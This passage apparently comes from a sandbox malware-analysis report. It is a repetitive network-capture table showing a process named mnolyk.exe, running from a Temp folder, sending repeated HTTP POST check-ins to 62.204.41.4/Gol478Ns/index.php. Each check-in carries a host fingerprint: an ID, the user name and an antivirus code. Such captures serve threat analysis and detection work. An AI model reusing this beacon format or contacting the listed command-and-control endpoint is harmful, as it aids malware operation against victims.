Feb 8, 2023 21:32:44.713026047 CET	505	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:44.776062965 CET	505	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
306	192.168.2.3	50008	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:32:44.947787046 CET	506	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:45.012370110 CET	506	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
307	192.168.2.3	50009	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:32:45.194375038 CET	507	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:45.261404037 CET	507	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
308	192.168.2.3	50010	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:32:45.438687086 CET	508	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:45.537972927 CET	508	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
309	192.168.2.3	50011	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:32:45.719027042 CET	509	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:45.784312963 CET	509	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
31	192.168.2.3	49733	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:31:24.349654913 CET	232	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:31:24.413149118 CET	232	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:31:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
310	192.168.2.3	50012	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:32:45.968971014 CET	510	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:46.034311056 CET	510	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
311	192.168.2.3	50013	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:32:46.214238882 CET	511	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:46.280585051 CET	511	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
312	192.168.2.3	50014	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:32:46.467797041 CET	512	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:46.531321049 CET	512	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
313	192.168.2.3	50015	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:32:46.699251890 CET	513	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:46.764550924 CET	513	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
314	192.168.2.3	50016	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:32:46.966726065 CET	514	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:47.030981064 CET	514	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
315	192.168.2.3	50017	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:32:47.204140902 CET	515	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:47.270333052 CET	515	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
316	192.168.2.3	50018	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:32:47.458753109 CET	516	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:47.523410082 CET	516	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
317	192.168.2.3	50019	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:32:47.697839022 CET	517	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:47.762049913 CET	517	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
318	192.168.2.3	50020	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:32:47.936217070 CET	518	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:48.005727053 CET	518	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
319	192.168.2.3	50021	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:32:48.182809114 CET	519	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:48.248092890 CET	519	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
32	192.168.2.3	49734	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:31:24.588963032 CET	233	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:31:24.653353930 CET	233	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:31:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
320	192.168.2.3	50022	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:32:48.431713104 CET	520	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:48.495898962 CET	520	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
321	192.168.2.3	50023	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:32:48.666868925 CET	521	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:48.731539965 CET	521	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
322	192.168.2.3	50024	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:32:48.907601118 CET	522	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:48.970055103 CET	522	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
323	192.168.2.3	50025	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:32:49.239222050 CET	523	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:49.345937967 CET	523	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
324	192.168.2.3	50026	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:32:50.554115057 CET	524	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:50.621462107 CET	524	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
325	192.168.2.3	50027	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
